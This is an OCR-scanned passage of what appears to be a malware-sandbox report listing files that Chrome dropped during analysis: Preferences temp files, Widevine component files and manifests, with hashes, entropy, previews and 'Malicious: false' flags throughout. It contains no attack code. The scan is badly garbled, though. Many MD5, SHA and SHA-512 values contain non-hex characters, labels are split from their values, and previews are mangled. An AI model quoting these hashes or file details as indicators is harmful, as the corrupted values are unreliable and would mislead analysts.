fic.e.l6.\...ms.os.hext.dll..M.icros.o.ft O.ffic.e.)..Micros.o.ft .Office..Shell Extens.ion. Handlers....16..0..4.26.6..1.0.0.1...D...C

2\P.ro.g.ram.

C:\Users\user\AppData\Local\Google\Chrome\User Data\af3f825b-bal11-40c6-8741-e626e2ad1c78.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 204585

Entropy (8bit):  6.043238814682897

Encrypted: false

SSDEEP: 6144:qhrlcj9+hP1pWIVB6FykaqfllUOoSiuRr:ghhcj9+YbBgQoc

MDS5: FB210DEED880E7D90C180AC24088DD4C

SHAL: EOAC2A635DEFDA6D000EDD311185289872F20A2A

SHA-256: 94BBBB6662E9999E12217ABDF16D6D0157D26FOCCIF9EIDE325EBC69E44C5924

SHA-512: 343663190AF356AE837C2584438A253A3EB6FBA2D3966 CDEBEEC4D6519CFD5EC57CA57B25C7E0A18B75099187190F6EC9A44417B96A66C22F7021CB39F9FFDE
3

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":

{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIWIOHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT4i8ZMIULZXXE60EUPPY
1YBIjSIOILGeiMKIilFIZDroAAAAAABAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKmabufgFUSmOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WF9zMTtOAAAAAYRWLY Xjf7/AqYrFroJZ6kbTiUt0/2PKkCw7ntLtbN2grad713MeL4iINGDFgqRIhWgsbh/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\b402449e-bdf1-4cee-9a4e-ca4b37a5db02.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 213026

Entropy (8bit):  6.0708299840818185

Encrypted: false

SSDEEP: 6144:+5hrlcj9+hP1pWIVB6FykaqfllUOoSiuRr:+5hhcj9+YbBgQoc

MD5: E5611DC34E31B9312FF42DF442CA3CC8

SHA1L: F895F4C8E154C96E37FD1CIFF207CE2697602AAD

SHA-256: 0949007DE9863F8BEFC6F92896CC16F838668450E64E7997556A8F9A56EC38CB

SHA-512: 5E72B95C7B31DF8D72F19CCE82E44680F5D0B7E9AF2F74C59221D1C3586AC26CF60AA2D5FECOB339D9BDB4EF94EEE46E76FB2307669911EBE630DBAS51CCAS
C5F

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":

{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"int":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIwloHYIQKZwuwWB8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOTA8ZmIULZXX60EUPPq
1YBIjSIOiLGeiMKilFIZDroAAAAAAGAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKkmabufgFUSmMOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WFIzMTtOAAAAAYRWLY Xjf7/AQYrFroJZ6kbTiUt0/2PKkCw7ntLtbN2qrad713MeL4iNGDFgqRIhWgsh/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\bd163967-f4de-4c01-ba76-cc9d2b76dc31.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 204780

Entropy (8bit):  6.04375184815715

Encrypted: false

SSDEEP: 6144:lhrlcj9+hP1pWIVB6FykaqgfllUOoSiuRr:lhhcj9+YbBgQoc

MD5: 23713274742FDED6BOA4AF25639AB01B

SHAL: 480C597A1966FF538BD428C16DFDF5B1279E891C

SHA-256: B755B9E9C2F5F3582670B4DD1C2782D5BBD85C64C75CB7CEFDB3E188544262A0

SHA-512: 345FA09331E6749EB84500D908F6C767301BFD5EB411D28E9DES5F6AFCFOBC864CED49343E0FF307544E4266C36AA88DAC56A2346A64B1B12AD671B1C900CDI
D

Malicious: false
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Preview:

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIwIoHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT48ZMIULZXX60EUPPq
1YBIjSIOILGeiMKilFJZDroAAAAAABAAAAAAGAAIAAAAFWI10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEkmabufgFUSmMOzx4cW7Aup7spgp
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WFIzMTtOAAAAAYRWtY xjf7/AqYrFroJZ6kbTiUt0/2PKkCw7ntLtbN2qrad713MeL4iNGDFgqRIhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\e2f335bb-46d8-40b4-b3c7-3dc91a756372.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

204677

6.043484651160799

false

6144:thrlcj9+hP1pWIVB6FykagfllUOoSiuRr:thhcj9+YbBgQoc
5895ED3B81FD42CD02004A6F26E95489
25AC7FC006C87CEF9F4216653B88DC4BF192E659
1E69EE6E7F7921D866D6BE061C8D3DF79A69802C167F45CC7BC3C45A3EEE7C66

78CE45A4BFF01935B8DA38ACB6IDEF29AF9822FCD750C1FC02FCE30EQ9C5788A0A27C2254CE2DB5ES9A44CCBB0106E7310EC533AB969004033EF54FFF07461
4A

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIWIOHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT4i8ZMIULZXXE60EUPPY
1YBIjSIOILGeiMKIilFIZDroAAAAAABAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKkmabufgFUSmMOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WF9zMTtOAAAAAYRWLY Xjf7/AqYrFroJZ6kbTiUt0/2PKkCw7ntLtbN2grad713MeL4iINGDFgqRIhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\ebdb0507-2246-4f02-b014-518ede498973.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

213026

6.0708299840818185

false

6144:+5hrlcj9+hP1pWIVB6FykagfllUOoSiuRr:+5hhcj9+YbBgQoc
E5611DC34E31B9312FF42DF442CA3CC8
F895F4C8E154C96E37FD1COFF207CE2697602AAD
0949007DE9863F8BEFC6F92896CC16F838668450E64E7997556A8F9A56EC38CB

5E72B95C7B31DF8D72F19CCE82E44680F5D0B7E9AF2F74C59221D1C3586AC26CF60AA2D5FECOB339D9BDBAEF94EEE46E76FB2307669911EBE630DBAS1CCAS
C5F

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"int":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIwIoHYIQKZwuwWB8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOTA8ZmIULZXX60EUPPq
1YBIjSIOILGeiMKilFIZDroAAAAAABAAAAAAGAAIAAAAFW1OavBhyV7qwszP ZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKmabufgFUSmMOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WFIzMTtOAAAAAYRWLY Xjf7/AqYrFroJZ6kbTiUt0/2PKkCw7ntLtbN2qgrad713MeL4iNGDFgqRIhWgsh/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\ecba63ec-d24f-4837-9252-1babea5080ec.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Program Files\Google\Chrome\Application\chrome.exe

PGP symmetric key encrypted data - Plaintext or unencrypted data salted -

dropped

100752

3.7507358005899682

false

384:cf+Vh/Y2shDsZYN5rSv9/K3mpDCHTaGKdros9Cc5ux!|7pLPzOrMhm8fY XppBWOR]:s2ct2wW+keGKtsrAfTCnKBXdFa
E5DA6B8006B7DD25706B8E6F004909C5

E5B4C5004C96E042EEOBSE393E9FD8965C2A0B12
8BAB389268F8AB6847D9F4EEOF7DD20B2A3FEOE2B468414FAEC8B82D13C41F34

96B0C4BF89CDBSAEFCDCB038E58CC12CEED81FCA3EA5C518AEAFB3524D8D8CF39953CEEF47A45F43C94B0B50D13482921DF29B6FF08044B70DBBF3970A48!
31A
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Malicious: false

Preview: ..*..C.\P.R.O.G.RA~1\M.I.C.R.O.S.~.1\0Offic.el6\GRO.O.VEEX.D.L.L.PL...%.pro.gram.files.%.\m.icro.s.o.ft .officeloffic.e
ro.ov.eex.dll..Micros.oft .Office..2.0.1.6..*.Micro.so.ft .O.neD.r.iv.e. for Bus.ines.s. .Extens.ions...16..0.47.11..1.0
.0.0....*...C.\.P.R.O.G.RA.~1\MIC.R.O.S.~1\0ffic.el6)\GRO.O.V.EEX..D.LL...Micr.os.o.ft .Co.rp.oratio.n.._8D..C.:\P.ro.gram. .F.iles\C.o
.m.m.o.n. .F.i.l.e.s\M.i.cro.s.oft .S.h.ared\O.F.FICE.16\ms.0shext.dl.@...U/..%.comm.o.np.ro.g.ramfiles.%.\m.ic.ro.s.o.ft .share.d\o.f
fic.e.l6.\...ms.oshext.dll..M.icros.o.ft O.ffic.e.)..Micros.o.ft .Office..Shell Extens.ion. Handlers....16..0..4.26.6..1.0.0.1...D...C

\P.ro.g.ram.

C:\Users\user\AppData\Local\Google\Chrome\User Data\f801476b-c1f1-4565-b4c7-788deca3112c.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 99424

Entropy (8bit):  3.7504385757719363

Encrypted: false

SSDEEP: 384:3f+Vh/Y2shDsZYN5rSv9/K3mpDCHTaGKdros9Cc5ux|7pLPzOrMhm8fY XppBWON/:92ct2wW-+keGhsrAfTCnKBXdFp

MDS5: 6AAE4B9D8353DB30125C2741C8F1A86E

SHAL: 073200E6040F4F094C350D2375F1447F59EC38F7

SHA-256: DBOFC3F78F0CF47571B12A87D6C1B9CC1CA5CB256ED01440850C61F69C420706

SHA-512: BE7D435C2BA7DF5C1BDAECB85F3567AD0A7468CF82AFF110491A13FFA352D1DC14A6FD72DFC875527951C9313225FD5936EC6F4A2E08B01AF8FDB6FD6E031F!
74

Malicious: false

Preview: ..*..C..\\P.R.O.G.RA~1\M.LC.R.O.S.~1\0.ffic.el6\GR.O.0O.VEEX..DLL.PL...%.p.r.o.gram.files.%.\m.ic.r.o.s.o.ft .officeloffic.e

ro.ov.eex.dll..Micros.oft O.ffice..2.0.1.6..*.Micros.o.ft .O.nebDuriv.e. for Business. .Extens.ions..16..0.4711.10
.0.0....*..C..\\P.R.0.G.RA~1\M.I.C.R.0.S.~.1\.0.fficel.6.\G.R.O.0O.V.EEX..D.LL....M.icr.o.s.0ft .Co.rp.oration.'8D..C:\Pro.gram. .Files\C.o
.m.m.o.n. .F.ile.s\M..c.r.os.oft Shared\O.F.FICE.16\ms.0s.hext.dl.@...U/..%.comm.o.np.r.o.gramfiles.%.\micro.s.oft shared\o.f
fice.l6.\...ms.oshext.dll..Microso.ft Office)..Micros.oft .Office..Shell Extens.io.n. Handlers....16..0.426.6..1.00.1...D..C
s\.P.rog.ram.

C:\Users\user\AppData\Local\Temp\2f173533-4bef-4c06-a9ca-30c5c91e7848.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit):  7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjICIUXZSk+QSVh85PxEalRVHmMcIdIR6YYfEp4ABUGDcaKklrv:k30F4Z4h45P99FId9RBQYBVcaxInfL

MD5: 541F52E24FE1EFOF8E12377A6CCAEOCO

SHA1L: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6BI96A7CCB6D718741BDF7D9A37F53B2EB4B98AALA78BCA4CFAS7D6E763AABI7276C8F9088940AC0476690D4D46023FF4BF52F3326(
88

Malicious: false

Preview: Cr24........... 0.0  Ho O \7c.<........ Ft0.8.2'5..9k...%....2...C.F.9.#..e.xQ....... [.L[..3> Ui T 7. (yM..?2V.<2. ... 1.a..0?d..... A H...\MpB..T.m..Vn Ip..>k.|
1..n.<Fb.f.*Q1.....5..2.{*6....Pp....0bM..1.......b1......(.UN'Z....V.F.W.X4."Feu...b......... \.FL..b..I5...2J.q......L]....W[TO.6...E....I. %Z.vFm.9..5!,.~g5...;
k...& L6ryU...%. f.....N.V...<+...l.}{..Z..)y.n.").......b....5.08K%..0.9..D.S.F50..<(...>... \f.. X..1.2."L ... 7f|.~.C.4.E......0..0.. * H...........0.......)."..b.*$W\$.q&.]zF _2..
12U WLLL2. R WL CIKSW..$.J.. +MLHZ.N UN bl { K@]6.LIP/...J(A. oo 1..)H...|Q.y;MG.d..ix. #£.Z8]..|.2...0K..t"I..5...Y..%.Ky....0..{ I+.~V.;...J....Z
.).(6..@7?v.;~..2..c...[0Y0..*H=. *H=.B..............2.+Y.l.K.bR,j5SI. .8....... H"i.-l.".Q{...FOD. .0...]'. A.L.+.=..kP.l.1..

C:\Users\user\AppData\Local\Temp\6008_103567953\_metadata\verified_contents.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 1448

Entropy (8bit):  5.971745384085355

Encrypted: false

SSDEEP: 24:pZRj/fITyyRTGYGRM86CAjJkVmdZzUU7aoXtuOtSPqNnQoXCrBJr4kOUpLaahlémc:p/hyyj7qgAdZzUU7aktuLinQkCdJr70Uy

MD5: 3E59AFF1F633A40146220723D49FF69D

SHAL: 91114719E0FAE4D557857A57BFCEF4A621AAFAAA

SHA-256: 5EFF1D2049B3AFDB8F44C4C68DEB1BOF5081B43C9A1BESAAC32B741CCC6016B3

SHA-512: 75E4EB0141E6E6F547E58D215DEDC2BFB7C9431015097859783302E9A770695AF9CA4ACT775101A2309468A1431D20483BCF4B204FC706CF5EBF605E6FDIES8644
Malicious: false
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Preview:

[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siYmxvY 2tfc216ZSIGNDA5NiwiZGInZXNOljoic2hhMjU2liwiZmIsZXMiO
[t7InBhdGgiOiJfcGxhdGZvem1fc3BIY 2ImaWMvd2luX3g2NC93aWRIdmIuZWNkbS5kbGwiL CJyb290X2hhc2giOiJUVWprbmV5ZDNIZmRVROpOWnMOeINBb
XRWLTRECEQ4TXMOUWS5rZE1IMVTBVINOseyJwY XRoljoiX3BsYXRmb3JtX3NwZWNpZmljL3dpbl94NjQvd2IkZXZpbmVjZG0uZGxsLnNpZylsinJvh3RfaGFzaCl61jJ3eXR
kUHVFY3U1MDdJenRuN2VKOUNwQVd5ZVdXUOxoekd GQVIXQkIfZkUifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uliwicm9vdF9o0Y XNoljoicW9aS2xCRVJoTzlybXpwaEctZ
ZFHN]jQycOpCRjNuN3laUzRWYIEwWT3JZayJ9XSwiZm9ybWFOljoidHJIZWhhc2giLCJoYXNoX2Jsbh2NrX3NpemUiOjQwOTZ9XSwiaXRIbV9pZCl6Im9IpbW9tcGVjYWduYWp
kZWpnbm5gaWpvYmViYWVpZ2VrliwiaXRIbV92ZXJzaW9uljoiNC4xMC4yMzkxLjAILCIwecm90b2NvbF92ZXJzaW9uljoxfQ","signatures”:[{"header":{"kid":"publisher"}
,"protected":"eyJhbGciOiJSUzI1NiJ9","signature™:"J_varh3pbSCuoxRJIIJKBMABg5gxFq57n03z43XkUWJIM70y3eWRQ133bpCLFZBIQxF4hEr0j3QkT-oGRSGF
8e2UNhauTxV8FmTjYoSF34D_idMe81x8xr_sKSshYV0BJC5VPDDw9-FcorpDHeeOmgpnBf

C:\Users\user\AppData\Local\Temp\6008_103567953\ _platform_specific\win_x64\widevinecdm.dll v

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

PE32+ executable (DLL) (console) x86-64, for MS Windows

dropped

10053976

7.433454408979122

false

98304:5Q8AwzExgSMcgTnSUpCSDVLcyjbc2ZFWReP+klU/6 CFNbnVzHyJJwN19hzjS1SJ:sQLwEMce5p3VQyjbcOva/PFNzlyJahZ]
55CE1BB968F23F546ED9E683050954A7

8088DED3DDF9D27700E470A75CFA7FA2EF565731
6CB80D4B43B81D2C1DF133565638D3471E108702AES5FAED47300F3AEL5BAA33D
TFAF27EF9C7F571CD6C04305C6CEOA75CAOF7BDC4587A438133794418C530F0E95BF19B56DB120AA49DCI6626E80058E567C47EC66B2813FD3A6A146AF1054A

false

e Antivirus: Virustotal, Detection: 0%, Browse
e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

LS

1..L.IThis program cannot be run in DOS mode.$..PE..d.. .
.rdata...SD...S..T

C:\Users\user\AppData\Local\Temp\6008_103567953\ _platform_specific\win_x64\widevinecdm.dll.sig

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

1427

7.570377692439448

false
24:38H/VZn47VBRxgCUQUODHBJeriJ8yojUdnkLvXWgl0oHLrUXAo8/f6Lu57x/:38HdurRxHSOIAiqY oXWVDX6XYu57x/
EDEC647D2132F0F988F43BFCBA5932BA

3B16ABF4669A598A0095556D5DBBDCAOD448E654
DBOCAD74FB8472EE74EC8CEDI9FB789F42A405B27965922E1CC6140616048FDF1
005613A96CBE17C8482FBD973AFF8DFID93C4D1BE8BIA01019E2436CDDF085BCD8748E1863221A3E15D541829C4BF81779F5A049255101F5CB7EA68DF92C77%
false

20000 6cd/+J.v{..B...0..*H........ 0}1.0...U....US1.0...U....Washington1.0...U....Kirkland1.0...U....Google1.0...U....Widevine1"0 ..U....widevine-codesign-root-ca0..

0..*H.
T

Lc.X..Qf...z....Q..e.m

C:\Users\user\AppData\Local\Temp\6008_103567953\manifest.fingerprint

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

66

3.8618480997673856

false

3:S4VW243EXtcQXQ80UJGbh00JIpgUu:S7t3E+CLOZ00J6Uu
9546E4EF0287DB27186BBCCF94ACA349
EB373FOCAO09AE7EDF54E9637934B9E406F68BEEG
08EBFFOFOF9DE95708F24ED2115634D44D8691648892D9BE449766F3677A0D8A

ED90C91C641034BF6233BC442103988F5F685D0E1A6D84AEB6B67A2BFAGA4E99F48747B3C08C09A200C8487C461BOEBODEAFG8ES4E4028EAG611DEOEC24E401(
5

false
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https://www.virustotal.com/gui/file/6cb80d4b43b81d2c1df133565638d3471e108702ae5faed47300f3ae15baa33d/detection/f-6cb80d4b43b81d2c1df133565638d3471e108702ae5faed47300f3ae15baa33d-1654813273
https://www.metadefender.com/#!/results/file/YnpJeU1EVXhNa05JWlRaeE1WWkpPUWVHLXc4TGUwTjI/regular/analysis

Preview:

1.e80345a4828e2b82d049520da48dc125df0c2600b1e4591cd05¢71bb661231e5

C:\Users\user\AppData\Local\Temp\6008_103567953\ manifest.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

825

4.819458905604673

false

24:ulaihl11P1TRuRckckH3WoAOUNQLQXUNgmTh:C1hY91luRfckHksJ
E15CE41AD7AB84F270A12DB01724A30D
DA82BF4C88965850A2EA06BC2E4A090F523D7DEA
AAB64A94111184EDB69B3A611BE8351BAE36B09045DE7EF2652E156D0D0EADS9
51DA142996B586539DB044821E3D3FEA2A60D5F53F165976C770385B10B8B3A3A81078D8710F8984F45E7F09DC035296A7C6C7AA85791EF7BD2022AAC2DA0134
false

{. "manifest_version": 2,. "update_url": "https://clients2.google.com/service/update2/crx",. "name": "WidevineCdm",. "description": "Widevine Content Decryption Modul
e",. "version": "4.10.2391.0",. "minimum_chrome_version": "68.0.3430.0",. "x-cdm-module-versions": "4",. "x-cdm-interface-versions": "10",. "x-cdm-host-versions": "1

0",. "x-cdm-codecs": "vp8,vp09,avcl,av0l”,. "x-cdm-persistent-license-support": true,. "x-cdm-supported-encryption-schemes": [. “cenc",. ‘“cbcs". ],. “icons": {.
"16": "imgsf/icon-128x128.png",. "128": "imgs/icon-128x128.png". },. "platforms™:[. {.  "os": "win",.  “arch":"x64",.  "sub_package_path": "_platform_spec
ificlwin_x64/". },. {  "os™ "win",.. "arch™ "x86",. "sub_package_path": "_platform_specific/win_x86/". }. 1.}

C:\Users\user\AppData\Local\Temp\6008_1514959569\_metadata\verified_contents.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

1311

6.005142745622942

false
24:pZRj/fITDyVIyVmddLb7aoX6wclWQ4vDzRSIKFE60XZEWGPNIQvo+M:p/haEAdV7ak63RX0KF6keWil6o+M
015CC8BEA4A6A775AF3080882F5D9455

E3728A7B6A32044FDACE9QF7FCA447997FDE32FB18
DCD27659E8C9BE4F9130B1CAA328162D305544D9799EF0A0675085A962CF7578
F6CBFEC2DEB717F361E77117F6FEABBFIB26EACE7402957D7D312F334A82176AD44DAC1A4124AF004C7CAGF3F6B73124740289B9570A85354DB3C1047751F23
false

[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siY mxvY2tfc216ZSI6NDA5NiwiZGInZXNOljoic2hhMju2liwiZmIsZXMiO
[t7InBhdGgiOiJtYW5pZmVzdC5qc29uliwicm9vdF9oYXNoljoiZWJIkaGhpRGXxDcEhFOUCSRIILMEZTQ1B4RmMFBOXBWMVdVYzdPaUVPSIpZSSJIIXSwiZm9ybWFOljoidHJI
1ZWhhc2giL CJoYXNoX2Jsh2NrX3NpemUiOjQwOTZ9IXSwiaXRIbVIpZCléimxsa2dqZmZjZHBmZmloaWFrbWZjZGNibG9oY2NwZmivliwiaXRIbV92ZXJzaW9uljoiMS4wL
JAUMTMILCIwcm90b2NvbF92ZXJzaW9uljoxfQ","signatures™:[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature”:"YQ3bA-EV7C3PaG_Snlb
fTSWULAWZtGpsZ6QFPw-_VbUhBWySX2efppu8GX0fliZRHWEKEP7flynCV_qgNtcgrpl8BjSO-1nmB1KrigfT4kHv6uBh8h_SXujgGRjIPAXCWPLYKco-hqE9tTUQPKmzn_-
Zc9GgJpl5IEAsuBUTZjrvWmzKkgkbdcesMNSwbrvyDffx2niki2p_7U3IkHNyd7hLpsCvZV8VqwCHwCEpOuggwskmNjLwxmRnjA_Emy9mMXEUEofyh7EEOs9BaUNsokg7
qXuxkrMz4S0ja5VB6ZVmBO5WIvexk3EXD-yDCykgMDxk2WZGpW1JtkYnpOMqgGQ"},{"header":{"kid":"webstore"},"protected":"eyJhbGciOiJSUzI1NiJ9", "signature
""WILRESuiylidkd-XDuFWN18wHXTE202h4LMHy

C:\Users\user\AppData\Local\Temp\6008_1514959569\ manifest.fingerprint

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

66

3.947126840193127

false

3:SuOcV60DKE0VavUd1iSiXn:SBCDk5svU6GSIX
072D0D7C824A2889BEBOBICEFOFD2197
985COEC750CFFBBAE6B2F079E77149E434E9D517
BF69E3FA772C505E6E75E2A5086FF0396248246F319024745B80FCOFB39D93E7

A397B48EE93B964A38501846F876ABF2C29AF2150786DCF6E37BAAOEADF48DEE2F8601953F8AB7D4AD76CB5586D669CB1F11FF5A8FDESB638F0B91413B358C!H
3

false

1.ab8d70a60ce0fbal355fad4edab88fd4d1bccc566b230998180183d1d776992b

C:\Users\user\AppData\Local\Temp\6008_1514959569\manifest.json

Process:

File Type:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

Copyright Joe Security LLC 2022 Page 31 of 52



Category: dropped
Size (bytes): 300

Entropy (8bit):  4.716626192856269

Encrypted: false

SSDEEP: 6:2eXC6WQpVYTJICAEIfd26VO9bIA6VDHs/CEwrhKXk7VmO1LwyAGI/zqSkhY:0e TICAEQLO9hQADgK0711LgGika

MD5: 9569E205D5815A3D9E14DEE93B7717C3

SHAL: 020BD6A07EF64A304B07E3ADFDA4C4D5397534CD

SHA-256: 79B7618620E50A91C4F46F4560AD054823F115A03DA55D5651CECE8843896582

SHA-512: BESEB17E769203E6A064326F227D21FFC1E8AA3F2684BD9786FAA4DOEAC944E4343608B1AEA25FDAL5FFF88D9C41487907037FEF75DC4D1615A27C7041FCOFS
C

Malicious: false

Preview: {. "description" : "Origin Trials public key updates and disabled features list",. "manifest_version" : 2,. "minimum_chrome_version" : "55",. "name" : "Origin Trials

Updates",. "origin-trials” : null,. "update_url" : "https://clients2.google.com/service/update2/crx”,. "version":"1.0.0.13".}

C:\Users\user\AppData\Local\Temp\6008_1693209245\_metadata\verified_contents.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 1758

Entropy (8bit):  6.004348430228517

Encrypted: false

SSDEEP: 48:p/h3/e3MgAdg3iwkakINcWRzJITzUUgMOr80X20/kZArgRHQmM+:RdSMgQdDaMKWITzUUoN/72wz

MD5: 0F22B59B8F52A2E602A8965EF593B51E

